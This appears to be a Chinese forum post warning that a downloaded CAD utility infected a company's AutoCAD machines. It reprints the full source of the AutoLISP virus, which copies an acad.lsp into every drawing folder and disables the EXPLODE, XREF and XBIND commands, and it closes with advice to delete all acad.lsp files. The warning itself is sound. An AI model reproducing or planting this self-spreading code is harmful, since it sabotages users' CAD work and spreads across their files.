在网上下载了迷你建筑工具，导致全公司电脑CAD粘贴命令不能用

那段恶意代码重定义了cad的命令
具体表现为标准命令explode, xref, xbind不再有效。
每个编辑过dwg文件的目录下面都会有一个acad.lsp


源代码：
(defun s::startup (/ old_cmd path dwgpath mnlpath
apppath oldacad newacad nowdwg lspbj
wjm wjm1 wjqm wjqm1 wz
ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspbj 1)
)
)
(close wjm)
)
)
(if (and (= acadpath dwgpath) (/= acadpath path))
(progn (setq oldacad (findfile "acad.lsp"))
(setq newacad (strcat path "acadapp.lsp"))
(if (= lspbj 0)
(progn (setq wjqm (strcat path "acad.lsp"))
(setq wjm (open wjqm "a"))
(write-line
(strcat "(load " (chr 34) "acadapp" (chr 34) ")")
wjm
)
(write-line "(princ)" wjm)
(close wjm)
)
)
(writeapp)
)
(progn (if (/= nowdwg "Drawing.dwg")
(progn (setq oldacad (findfile "acadapp.lsp"))
(setq newacad (strcat dwgpath "acad.lsp"))
(writeapp)
)
)
)
)
(command "undefine" "explode")
(command "undefine" "xref")
(command "undefine" "xbind")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun writeapp ()
(if (setq wjm1 (open newacad "w"))
(progn (setq wjm (open oldacad "r"))
(while (setq wz (read-line wjm)) (write-line wz wjm1))
(close wjm)
(close wjm1)
)
)
)
(defun C:explode (/ p cont old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq p (ssget))
(if p
(progn (setq cont (sslength p))
(princ "
Seltct objects:")
(princ cont)
(princ " found")
(princ "
")
(princ cont)
(princ " was not able to be explode")
)
)
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xref (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:xbind (/ old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(command "insert")
(setvar "cmdecho" old_cmd)
(princ)
)
(defun C:burst (/ p old_cmd)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(princ "
BURST----将图块中的文字炸开后成为实体")
(setq p (ssget))
(setvar "cmdecho" old_cmd)
(princ)
)
(princ)

可能是病毒
代码是写在acad.lsp里面的
如果发现这种情况
搜索acad.lsp,全删除